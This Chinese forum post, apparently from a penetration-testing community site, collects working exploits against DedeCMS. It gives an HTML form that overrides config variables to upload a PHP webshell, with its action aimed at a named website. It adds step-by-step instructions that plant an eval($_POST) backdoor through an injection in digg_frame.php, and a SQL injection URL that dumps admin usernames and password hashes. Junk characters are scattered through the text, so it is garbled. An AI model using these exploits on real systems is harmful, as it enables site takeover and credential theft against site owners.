( m" ]- Z. M5 _3 Y6 O$ P( h; _; L9 r3 ?+ @, h0 \% ]2 |

3 i6 T# k9 Y5 a5 E2 `4 Y* a5 X& g
+ d0 ?, |( I5 [4 e
' P8 [  t) C: ]- A6 N织梦(Dedecms)select_soft_post.php页面变量未初始漏洞2 E7 Z3 h3 j* h2 D* o7 r$ i) w
<html>3 C3 w$ m# A' `3 C/ }; R+ ]
<head>5 j  Z( @3 k! d2 Z: q
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>' W( G& k, Y9 X' _6 m; l3 @& a
</head>
& b( `( }9 z0 a5 u( x<body style="FONT-SIZE: 9pt">
# y3 ], Q5 z0 \---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
, {# L2 \- W+ O8 |<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
* Q0 F- [" T  w' E* `1 @4 O" R<input type='hidden' name='activepath' value='/data/cache/' />
5 s0 t" T, P+ k: ~/ F# ?8 @<input type='hidden' name='cfg_basedir' value='../../' />2 e3 [7 T5 G/ k, I: q7 G
<input type='hidden' name='cfg_imgtype' value='php' />
) Z" i& I, L  J  C% H% q<input type='hidden' name='cfg_not_allowall' value='txt' />
/ m" [. L/ Q) }+ q  E<input type='hidden' name='cfg_softtype' value='php' />
/ K" k4 J  v1 i1 f! z8 y- A<input type='hidden' name='cfg_mediatype' value='php' />
2 c, b8 V$ z. g, ^6 ~% g<input type='hidden' name='f' value='form1.enclosure' />2 r: d  `0 e' l2 @, E4 ^" H
<input type='hidden' name='job' value='upload' />
# G' G2 M/ K4 K" T# K<input type='hidden' name='newname' value='fly.php' />, s; D/ M6 F5 \
Select U Shell <input type='file' name='uploadfile' size='25' />, k; I# I" }& k
<input type='submit' name='sb1' value='确定' />$ f3 v( M/ i" y5 ~4 i7 _" V. X
</form>
1 C4 P6 j$ g) v7 V4 r  \1 \<br />It's just a exp for the bug of Dedecms V55...<br />
; P7 L- Q0 w1 I3 C6 [2 UNeed register_globals = on...<br />) O, Z7 B" w( a& }+ P
Fun the game,get a webshell at /data/cache/fly.php...<br />
! I& ~6 l. F0 T" W* v: h</body># J& N. P; [% _
</html>
4 ^% T/ l$ m/ P3 B' ]" k9 c
" R3 z' F$ d2 H  z
) y0 G+ {5 V) t+ _5 m6 t( H; P0 P5 F3 x/ C6 [$ P/ C
5 |$ k/ Y, ]3 j9 a& p
5 @- I7 H1 r& R
  S$ O. U* d' \6 Y

9 S! a; u$ O- b  o5 d% R/ z7 j. _1 R
" J: p2 Y/ D. d
8 P" @) u% X0 V0 \1 b. P: ^" |* Q
织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞; u; R, I! Y1 g
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。7 y4 v" T  {9 c9 H; m/ a+ Q
1. 访问网址:
0 J8 ^8 u9 y! r; Y9 B6 z4 `  A4 Q
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>' d1 X* t0 J, ?2 k+ ^- l+ y4 H
可看见错误信息# K# N, L% Z0 H  R
3 j% D" D% v& e. C, G

% {3 Q+ p& z  w/ d2. 访问
http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。5 h3 |5 X/ O* g; j6 `9 V& K# I
int(3) Error: Illegal double '1024e1024' value found during parsing
. M. A+ j% e! p: z0 fError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
! W' z6 d: I+ c# z4 p
+ x8 h! a- u" S' F6 [. N, t% K
' m: w" a( E2 [7 l2 A2 O# Y3. 执行dede.rar里的文件 test.html,注意 form 中 action 的地址是
+ i2 s8 W+ w) z& s, M& Y; Y! M
' ?9 }6 Y9 b1 x. h5 D% r- P9 l! Q8 U$ [2 @
<form action=”
http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>5 G: b8 a/ o" S  P  N; D. B5 i+ r

" i& C6 X# X/ P2 {: E
5 P7 i4 ^4 m5 K8 @) \! J按确定后的看到第2步骤的信息表示文件木马上传成功.
, w+ q  g: ~$ n6 ]9 L% J5 U# ^% X3 K! g5 S. Q9 C. J6 r* O
, Y- x: V* I1 y* f& i

: T7 X; Z2 t! U# ^
/ l+ U6 X9 |; {. V2 O% i. e9 p5 {
! c& q( ^9 e1 H# u1 }! y7 B) M/ {  ~1 _8 S* O2 z) E
* K7 D. r! b! l/ }
0 r- E7 U9 l) R9 A# j

2 D& }6 c) M" X# c: s2 b$ h3 L* u; w; M; p  k# ~5 F4 ~

9 s' {) ~/ @" L% |- x1 U* R
! o1 s. Q7 I( Z) B( \; g织梦(DedeCms)plus/infosearch.php 文件注入漏洞+ |" K4 h6 ^1 X4 L' O# m0 J9 n5 j
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2